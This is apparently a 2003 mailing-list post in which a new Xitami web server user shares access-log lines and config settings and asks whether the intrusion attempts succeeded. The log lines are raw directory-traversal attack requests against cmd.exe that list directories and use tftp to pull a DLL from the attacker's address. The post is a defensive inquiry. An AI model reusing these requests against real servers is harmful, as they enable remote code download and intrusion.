[Xitami] New User Question - Server Intrusion

[Roger Brown]

I am a new user to Xitami and not at all conversant with running a
server. I'm using Xitami for a self hosted site.

Along with normal traffic I'm getting the odd idiot running intrusion
type scripts (which I expected). I am concerned though that some
server responses to the script are other than 404 indicating, I
assume, that some response was obtained.

For example:


203.197.248.101 - - [05/Mar/2003:17:30:45 +1000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
203.197.248.101 - - [05/Mar/2003:17:30:47 +1000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20203.197.248.101%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
203.197.248.101 - - [05/Mar/2003:17:30:50 +1000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20203.197.248.101%20GET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
203.197.248.101 - - [05/Mar/2003:17:30:53 +1000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20203.197.248.101%20GET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
203.197.248.101 - - [05/Mar/2003:17:30:55 +1000] "GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
203.197.248.101 - - [05/Mar/2003:17:30:58 +1000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
203.197.248.101 - - [05/Mar/2003:17:31:01 +1000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20203.197.248.101%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
203.197.248.101 - - [05/Mar/2003:17:31:03 +1000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20203.197.248.101%20GET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
203.197.248.101 - - [05/Mar/2003:17:31:06 +1000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20203.197.248.101%20GET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
203.197.248.101 - - [05/Mar/2003:17:31:08 +1000] "GET /scripts/..%%35c../httpodbc.dll HTTP/1.0" 200 -1 "" ""

I believe the server is correctly set up - there are no server aliases
but php is enabled. The relevant parts of defaults.cfg are:

[Filter]
    .php = "C:\\PHP\\php.exe"

[Ftp]
    Enabled = "0"
    Root = "c:/downloads"

[Security]
    Dirlist = "0"
    safepaths=1
    Filename = "defaults.aut"

[Server]
    Priority = "1"
    Webpages = "c:/documents and settings/roger brown/my documents/my website"
    portbase=0

I have firewall software (Tiny) which blocks pretty much everything
that other than known applications - there is no indication from its
logs of trojan activity. Nor is there any indication of unusual data
usage from my broadband ISP's usage meter.
    
Can anyone elighten me about these intrusion attempts
    

-- 
Regards,
Roger

Roger Brown
roger2@rogerbrown.no-ip.org
http://rogerbrown.no-ip.org
http://member.melbpc.org.au/~robrown/